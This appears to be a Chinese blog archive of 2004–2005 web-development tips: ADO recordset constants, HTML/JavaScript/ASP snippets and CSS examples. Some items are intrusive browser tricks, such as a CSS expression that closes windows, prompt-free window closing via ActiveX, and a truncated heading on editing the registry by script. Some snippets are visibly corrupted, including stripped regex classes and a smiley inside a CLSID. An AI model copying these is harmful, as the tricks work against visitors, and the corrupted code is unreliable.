2005年06月28日

RS.OPEN SQL,CONN,A,B

A:

ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动

ADOPENKEYSET(=1)
只读,当前数据记录可自由移动

ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动

ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:

ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录

ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。

ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。

ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。

当不需要改动任何记录时,应该使用只读的记录集,这样提供者不用做任何检测。
对于一般的使用,乐观的锁定可能是最好的选择,因为记录只被锁定一小段时间,
数据在这段时间被更新。这减少了资源的使用。

2005年04月21日



1.  oncontextmenu="window.event.returnvalue=false"      将彻底屏蔽鼠标右键
    <table border oncontextmenu=return(false)><td>no</table>   可用于Table

2.  <body onselectstart="return false">                 取消选取、防止复制

3.  onpaste="return false"                                        不准粘贴

4.  oncopy="return false;" oncut="return false;"                  防止复制

5.  <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

6.  <link rel="Bookmark" href="favicon.ico">  可以在收藏夹中显示出你的图标

7.  <input style="ime-mode:disabled">                           关闭输入法

8.  永远都会带着框架
<script language="javascript"><!–
  if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// –></script>

9.  防止被人frame
<SCRIPT LANGUAGE=javascript><!–
  if (top.location != self.location)top.location=self.location;
// –></SCRIPT>

10. <noscript><iframe src=*.html></iframe></noscript>     网页将不能被另存为

11. <input type=button value=查看网页源代码
onclick="window.location = ‘view-source:’+ ‘http://www.csdn.net/&#39;">

12. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器,"& _
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>

13. 取得控件的绝对位置

//javascript
<script language="javascript">
function getIE(e){
  var t=e.offsetTop;
  var l=e.offsetLeft;
  while(e=e.offsetParent){
    t+=e.offsetTop;
    l+=e.offsetLeft;
    }
  alert("top="+t+"\nleft="+l);
  }
</script>

//VBScript
<script language="VBScript"><!–
function getIE()
  dim t,l,a,b
  set a=document.all.img1
  t=document.all.img1.offsetTop
  l=document.all.img1.offsetLeft
  while a.tagName<>"BODY"
    set a = a.offsetParent
    t=t+a.offsetTop
    l=l+a.offsetLeft
  wend
  msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
–></script>

14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
  var e = event.srcElement;
  var r =e.createTextRange();
  r.moveStart(‘character’,e.value.length);
  r.collapse(true);
  r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

15. 判断上一页的来源
asp:
request.servervariables("HTTP_REFERER")

javascript:
document.referrer

16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" value="Close"></OBJECT>

<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE

17.
<%
‘定义数据库连接的一些常量
Const adOpenForwardOnly     = 0 ‘游标只向前浏览记录,不支持分页、Recordset、BookMark
Const adOpenKeyset          = 1 ‘键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
Const adOpenDynamic         = 2 ‘动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
Const adOpenStatic          = 3 ‘静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动

Const adLockReadOnly        = 1 ‘锁定类型,默认的,只读,不能作任何修改
Const adLockPessimistic     = 2 ‘当编辑时立即锁定记录,最安全的方式
Const adLockOptimistic      = 3 ‘只有在调用Update方法时才锁定记录集,而在此前的其他操作仍可对当前记录进行更改、插入和删除等
Const adLockBatchOptimistic = 4 ‘当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的

Const adCmdText  = &H0001
Const adCmdTable = &H0002
%>

18. 网页不会被缓存
HTM网页
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">
ASP网页
  Response.Expires = -1
  Response.ExpiresAbsolute = Now() – 1
  Response.cachecontrol = "no-cache"
PHP网页
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");


19. 检查一段字符串是否全由数字组成
<script language="javascript"><!–
function checkNum(str){return str.match(/\D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// –></script>

20. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight

21. 怎么判断是否是字符
if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

22.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

23. 日期减去天数等于第二个日期
<script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a – dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

24. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
  for each ob in radio1
    if ob.checked then window.alert ob.value
  next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

25.获得本页url的request.servervariables("")集合
Response.Write "<TABLE border=1><!– Table Header –><TR><TD><B>Variables</B></TD><TD><B>value</B></TD></TR>"
for each ob in Request.ServerVariables
Response.Write "<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write "</TABLE>"

26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间<%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本超时时间<%=Server.ScriptTimeout%>
本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系统<%=Request.ServerVariables("OS")%>

27.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

28. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=javascript>
tim=1
setInterval("tim++",100)
b=1

var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"

function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text name=url"+i+" size=40> =》<input type=button value=GO onclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl[i]+"/"+Math.random()+" width=1 height=1 onerror=auto(‘http://";;;;+autourl[i]+"’)>")}
run()</script>


29. 各种样式的光标
auto          :标准光标
default       :标准箭头
hand          :手形光标
wait          :等待光标
text          :I形光标
vertical-text :水平I形光标
no-drop       :不可拖动光标
not-allowed   :无效光标
help          :?帮助光标
all-scroll    :三角方向标
move          :移动标
crosshair     :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

1.本地无缓存,每次自动刷新
response.expires=0
response.addHeader "pragma" , "no-cache"
response.addHeader "cache-control" , "private"

2.修改contentType并下载gif等格式
<%
function dl(f,n)
on error resume next

set s=CreateObject("Adodb.Stream")
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
if err.number>0 then
  response.write err.number & ":" & err.description
else
  response.contentType="application/x-gzip"
  response.addheader "Content-Disposition:","attachment; filename=" & n
  response.binarywrite(s.Read(s.size))
end if
end function

call dl("012922501.gif","t1.gif")
%>


19. 检查一段字符串是否全由数字组成
<script language="javascript"><!–
function checkNum(str){return !/\D/.test(str)}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// –></script>

20. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight
document.body.offsetWidth,document.body.offsetHeight
有时还需要知道window.screenTop,window.screenLeft

2005年02月01日

@font-face版本:CSS2  兼容性:IE4+


语法:

@font-face { font-family : name ; src : url( url ) ; sRules }

说明:

name :  字体名称
url :  使用绝对或相对地址指定OpenType字体
sRules :  样式表定义

设置嵌入HTML文档的字体。
嵌入HTML文档的字体是指将OpenType字体(压缩的TrueType字体)文件映射到客户端系统,用来提供HTML文档使用该字体,或取代客户端系统已有的同名字体。

示例:

@font-face { font-family: dreamy; font-weight: bold; src: url(http://www.example.com/font.eot); }

____________________________________________________________________________________________
.font-face {
    font-family: “汉真广标”;
    font-weight: bold;
    src: url(http://auto.263.net/auto_lib/file/dealer/yfstudio/hzgb.ttf);
    font-size: 18px;
}


2004年12月30日

<style type=”text/css“>

a{blr:expression(this.onFocus=this.close());}

 </style>

1.怎样才能把RealPlayer文件在网页做一个试听连接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart=”false” controls=”PlayButton”>

2.请问如何去掉IE的上下滚动条?

<body style=’overflow:scroll;overflow-y:hidden’>

</body>

3.如何在打开页面的时候,输入表单就获得焦点?

如果表单没有名字可以用document.forms[index]数组访问 如果表单项没有名字可以用document.forms[index].elements[index]数组访问 这里index是整数 比如:

<form>

<input type=”text” value=”" onclick =”document.forms[0].elements[0].value=’我是表单1,第一个表单项’;”>

</form>

<form name=”form2″>

<input type=”text” value=”" onclick =”document.form2.elements[0].value=’我是表单2,第一个表单项’;”>

</form>

<form name=”form3″>

<input name=”text3″ type=”text” value=”" onclick =”document.form3.text3.value=’我是表单3,第一个表单项’;”>

</form>

4.解释一下event.X和event.clientX有什么区别?

event.clientX返回事件发生时,mouse相对于客户窗口的X坐标

event.X也一样

但是如果设置事件对象的定位属性值为relative

event.clientX不变

而event.X返回事件对象的相对于本体的坐标

event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey

检索ALT键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值: 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelBubble

设置或检索当前事件是否将事件句柄起泡

可能的值: false 启用起泡

true 取消该事件起泡

clientX

检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY

检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey

ctrlKey 检索CTRL键的当前状态

可能的值 true为关闭

false为不关闭

dataFld

检索被oncellchange事伯影响的列

aTransfer

为拖放操作提供预先定义的剪贴板式。

Element

检索在onmouseover和onmouseout事件期间退出的对象指针

keyCode

设置或检索与引发事件的关键字相关联的Unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字,则该值为0

offsetX

检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值:

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnValue

设置或检索从事件中返回的值

可能的值:

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenX

检索与用户屏相关的鼠标的水平位置

screenY

检索与用户屏相关的鼠标的垂直位置

shiftKey

检索shiftKey键的当前状态

可能的值 true为关闭

false为不关闭

srcElement

检索触发事件的对象

srcFilter

检索导致onfilterchange事件触发的过滤器对象

srcUm

检索触发事件行为的同一资源名称

除非下面两个条件都为真,否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

x

检索相对于父要素鼠标水平坐标的整数

y

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新?

在head部记入<META HTTP-EQUIV=”Refresh” content=”20″>其中20为20秒后自动刷新,你可以更改为任意值。

6.如何让一个窗口永远在最上面?

<a onclick=aa()>点这里</a>

<script language=’javascript’>

function aa(){

y=window.showModalDialog(“http://www.51js.com”,”",”Height: 300; Width: 275; help: no”);

}

</script>
7.如何实现虚线边框?

<html>

<head>

<title>虚线</title>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

</head>

<body bgcolor=”#FFFFFF” text=”#000000″>

<table width=”100%” border=”0″ cellspacing=”0″ cellpadding=”0″>

<tr>

<td style=”border-top-style:dashed ;”> </td>

</tr>

</table>

</body>

</html>

[/html]

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????

[html]<html>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

<title>New Page 1</title>

<meta name=”GENERATOR” content=”Microsoft FrontPage 3.0″>

</head>

<body>

<table border=”1″ width=”100%” style=”border: 1px dashed”>

<tr>

<td width=”50%”> </td>

<td width=”50%”> </td>

</tr>

<tr>

<td width=”50%”> </td>

<td width=”50%”> </td>

</tr>

<tr>

<td width=”50%”> </td>

<td width=”50%”> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style=”border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000″>只有这样才行吗?</td>

</tr>

<tr><td style=”border-left:dashed 1px #000000;border-right:dashed 1px #000000″ height=100> </td></tr>

<tr><td style=”border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000″>如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能?

<a href=”javascript:history.go(-1)”>点击后退</a>

或者

<script> history.back() </script>

9.表单中如何用图片按钮实现 reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows=”2″ name=”S1″ cols=”20″></textarea>

<input type=”submit” value=”提交” name=”B1″>

<image src=”logo.gif” onclick=aaa()>

</form>

</body></html>

10.怎样去掉图片链接点击后,图片周围的虚线?

onFocus=”if(this.blur)this.blur()” blur: 使物件失焦… 當你点击图片链接時 图片链接得到焦點(Focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onFocus=”this.blur()”

11.如何去掉网页连接的下划线?

<head>

<style type=”text/css”>

<!–

A { text-decoration: none}

–>

</style>

</head>

<a href=http://www.51js.com>一个连接</a>

12.请问怎么在网页中改变鼠标的箭头形状?

<body>

<a href=”#” style=”cursor: auto;”>auto</a><br/>

<a href=”#” style=”cursor: crosshair “>crosshair </a><br/>

<a href=”#” style=”cursor: default “>default </a><br/>

<a href=”#” style=”cursor: hand “>hand </a><br/>

<a href=”#” style=”cursor: move “>move </a><br/>

<a href=”#” style=”cursor: e-resize “>e-resize </a><br/>

<a href=”#” style=”cursor: ne-resize “>ne-resize </a><br/>

<a href=”#” style=”cursor: nw-resize”>nw-resize</a><br/>

<a href=”#” style=”cursor: n-resize”>n-resize</a><br/>

<a href=”#” style=”cursor: se-resize”>se-resize</a><br/>

<a href=”#” style=”cursor: sw-resize”>sw-resize</a><br/>

<a href=”#” style=”cursor: s-resize”>s-resize</a><br/>

<a href=”#” style=”cursor: w-resize”>w-resize</a><br/>

<a href=”#” style=”cursor: text”>text</a><br/>

<a href=”#” style=”cursor: wait”>wait</a><br/>

<a href=”#” style=”cursor: help”>help</a><br/>

</body>

13.target=”_blank”规定链接在新窗口中打开,那 target=”_parent”、 target=”_self” 、target=”_top”的作用又是什么?

target=”_parent”、上一层框架

target=”_self” 、自身窗口、框架

target=”_top” 最顶层框架。

更细点的解释,从织梦补给网找来的:

_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?

<LINK href=”fav.ico” rel=”shortcut icon”>

加入HADE標簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<LINK href=”路徑/圖檔.ico” rel=”shortcut icon”>

15.请问如何去掉主页右面的滚动条?

<body scroll=”no”>

<body style=”overflow-y:hidden”>

16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西

<META HTTP-EQUIV=”Pragma” CONTENT=”no-cache”>

17.请问如何忽视右键?

<body oncontextmenu=”return false”>
18.怎样在同一页面内控制不同链接的CSS属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是

A.YOURS:LINK A.YOURS:HOVER

YOURS可以改作你自己的字

然后在选中某个连接后,在CSS面版中点中YOURS即可。

按需要,你可以定义N个标示,N种鼠标OVER的效果

19.电子邮件处理提交表单

<form name=”form1″ method=”post” action=”mailto:webmaster@51js.com” enctype=”text/plain”>

<input type=submit>

</form>

20.有没有可能用层来遮住FLASH?

1.在flash的parameters里加入 <param name=”wmode” value=”transparent”>

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面?

先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:

<html>

<head>

<script language=javascript>

<!–

function mHref() {

if (screen.width == 1024) location.href = “htm2.htm”;

else if (screen.width == 800) location.href = “htm1.htm”;

else return(false);

}

//–>

</script>

</head>

<body onload=”mHref();”>

</body>

</html>

22.不用询问就关闭浏览器

<head>

<OBJECT id=closes type=”application/x-oleobject” classid=”clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11″>

<param name=”Command” value=”Close”>

</object>

</head>

<body>

<input type=”button” value=”点击我关闭窗口” onclick=”closes.Click();”>

</body>

23.如何弹出只有状态栏的窗口?

<html>

<head>

<title>open() close()</title>

<script language=”javascript” type=”text/javascript”>

<!–

function openWin()

{

var newWin=open(“”,”",”menubar=1,height=200″);

newWin.document.write(“<form>”);

newWin.document.write(“单击以下按钮关闭窗口:<p>”);

newWin.document.write(“<input type=button value=’关闭’ onclick=window.close()>”);

newWin.document.write(“</form>”);

}

</script></head>

<body>

<div align=center>

<h2>单击以下按钮显示新窗口…</h2>

<form name=form1>

<input type=button value=”新窗口1[只显示地址栏]” onclick=window.open(”,’new1′,’location=1′)>

<input type=button value=”新窗口2[只显示状态栏]” onclick=window.open(”,”,’status=1′)>

<input type=button value=”新窗口3[只显示工具栏]” onclick=window.open(”,’new2′,’toolbar=1,height=200,width=450′)>

<input type=button value=”新窗口4[只显示菜单栏]” onclick=openWin()>

<input type=button value=”新窗口5[一个不少]” onclick=window.open(”,’new5′)>

<input type=button value=”新窗口6[光棍但可调大小]” onclick=window.open(‘http://www.51js.com/forumdisplay.php?forumid=32#thread’,'new6′,’resizable=1′)>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

<input type=”button” value=”改变地址” onClick=”parent.displayinhere.location.href=’http://www.gznet.com/’”>

<iframe name=”displayinhere” width=250px; height=200px; src=”http://www.51js.com“>

</body>

25.如何让超链接没有下划线

在源代码中的<HEAD>…</HEAD>之间输入如下代码:

<style type=”text/css”> <!–

a { text-decoration: none}

–> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写?

<html>

<head>

<title>Untitled Document</title>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

<script language=”JavaScript”>

<!–

function MM_openBrWindow(theURL,winName,features) { //v2.0

window.open(theURL,winName,features);

}

//–>

</script>

</head>

<body bgcolor=”#FFFFFF” text=”#000000″ onLoad=”MM_openBrWindow(‘1212312.htm’,”,’width=400,height=400′)”>

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

<OBJECT id=closes type=”application/x-oleobject” classid=”clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11″>

<param name=”Command” value=”Close”>

</object>

</head>

<body onload=”window.setTimeout(‘closes.Click()’,10000)”>

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人?Merlin

<HTML>

<HEAD>

<TITLE>默林</TITLE>

<META http-equiv=Content-Type content=”text/html; charset=gb2312″>

</HEAD>

<BODY>

<p><OBJECT id=sims classid=CLSID<img src=”images/smilies/bigsmile.gif” border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>

</OBJECT>

<SCRIPT>

var MerlinID;

var MerlinACS;

sims.Connected = true;

MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);

Merlin = sims.Characters.Character(MerlinID);

Merlin.Show();

Merlin.Play(“Surprised”);

Merlin.Speak(“大家好”);

Merlin.Play(“GestureLeft”);

Merlin.Think(“我是默林!”);

Merlin.Play(“Pleased”);

Merlin.Think(“可爱吗?”);

Merlin.Play(“GestureDown”);

Merlin.Speak(“哈哈!”);

Merlin.Hide();

function LoadLocalAgent(CharID, CharACS){

LoadReq = sims.Characters.Load(CharID, CharACS);

return(true);

}

</SCRIPT>

</p>

<p> </p>

<p>看此效果必须装有office2000!!!</p>

</BODY>

</HTML>

如果看不到效果或效果有问题,请将代码保存为html文件查看.

这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。 其中: 用”=number” number是字数/分 例如: Merlin.Speak “=62to the 51js” Merlin.Speak “=160to the 51js” 还有,找到这句: Merlin.LanguageID = 0×409; 改为0×804 (Simplified Chinese) 改为0×404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?

<META HTTP-EQUIV=”Refresh” CONTENT=”时间;URL=地址”>

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<html><head>

<STYLE>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</STYLE>

</head>

<body bgproperties=”fixed” >

</body>

</html>

31.文本输入框什么属性能实现不可输入?

<input type=”text” name=”textfield” disabled>

或者

<input type=”text” name=”textfield” readonly>

32.怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?

只要在Layer中再插Iframe 或 Object 设z-Index值

<div z-Index:2><object xxx></object></div> # 前面

<div z-Index:1><object xxx></object></div> # 后面

<div id=”Layer2″ style=”position:absolute; top:40;width:400px; height:95px;z-index:2″><table height=100% width=100% bgcolor=”#ff0000″><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id=”Layer1″ style=”position:absolute; top:50;width:200px; height:115px;z-index:1″><iframe height=100% width=100%></iframe></div>

33.如何让表格并排?

首先在第一个表里应该这样写: “<table border=0 cellpadding=1 cellspacing=1 align=left>” 这table里最为关键是”align=left”这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。

<table width=”200″ border=”0″ cellspacing=”1″ cellpadding=”0″ bgcolor=”#000000″ align=left>

<tr>

<td bgcolor=”#ffffff”> </td>

</tr>

</table>

<table width=”200″ height=200 border=”0″ cellspacing=”1″ cellpadding=”0″ bgcolor=”#cccccc” align=left>

<tr>

<td bgcolor=”#ffffff”> </td>

</tr>

</table>

[/html]

[html]<table border=”1″ cellspacing=”0″ cellpadding=”0″ bordercolor=”#ff0000″ align=left> <tr><td>你好</tr></td></table>

<table border=”1″ cellspacing=”0″ cellpadding=”0″ bordercolor=”#00ff00″><tr><td> 我很好</tr></td></table>

<br/>还可以排三个

<br/>

<table border=”1″ cellspacing=”0″ cellpadding=”0″ bordercolor=”#ff0000″ align=left> <tr><td>你好</tr></td></table>

<table border=”1″ cellspacing=”0″ cellpadding=”0″ bordercolor=”#00ff00″ align=right><tr><td> 我很好</tr></td></table>

<table border=”1″ cellspacing=”0″ cellpadding=”0″ bordercolor=”#0000ff” align=center><tr><td> 他也很好</tr></td></table>

34.如何让两个form表单行距之间不出现空格?

这样写 <TABLE><FORM><TR>…….</TR></FORM></TABLE>

35.如何让页面自动刷新?

方法一,用refresh

<head>

<meta http-equiv=”refresh” content=”5″>

</head>

5表示刷新时间

方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>

36.如何给文本连接加上提示语言?

<a href=”#” title=”我出来拉”>click me</a>

37.英文排版的问题:怎么能让英自动排列整齐?

请使用css中的 text-align: justify;

<table style=”TABLE-LAYOUT: fixed” width=”100%” border=”0″ cellspacing=”0″ cellpadding=”7″ bgcolor=”#f7f7f7″>

<tr>

<td style=”LEFT: 0px; WIDTH: 100%; text-align: justify”><font color=”#990000″>[效果]</font><br/>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开?

把以下代码加至你的<head>区

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写?

window.opener.location.reload()
42.JS正则表达式replace用法

下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp

对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名

称。

<SCRIPT LANGUAGE=”JavaScript1.2″>

re = /(+)(+)/;

str = “John Smith”;

newstr=str.replace(re,”$2, $1″);

document.write(newstr)

</SCRIPT>

显示结果:”Smith, John”.

str.replace(re,”$2, $1″);这一句,$2,$1是什么意思?

[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, …, $9属性

用圆括号括着的匹配子串,如果有的话。

是RegExp的属性

静态,只读

在JavaScript 1.2, NES 3.0以上版本提供

描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该

属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的

圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?

<script>

var reg=/((+)(+))/;

var str=’John Smith’;

reg.exec(str);

</script>

<button onclick=with(RegExp)alert($1+”+$2+”+$3);>View</button>

43.如何实现首页全屏幕显示?

<html>

<body><script language=”javascript”>

var coolw=642

var coolh=400

var coolhuang=window.open(“http://www.51js.com”,”coolhuang”,”width=”+coolw+”,height=”+coolh+”,fullscreen=1,

toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0″)

window.close()

</script></body></html>

44.如何动态改变一个Object对象的样式表风格的Class?

<style>

.btn1{

background-color:#990000;color:#ffffff;

}

</style>

<button onclick=”this.className=’btn1′”>你点我一下我的样式表就改为使用.btn1了</button>

45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)

<script>

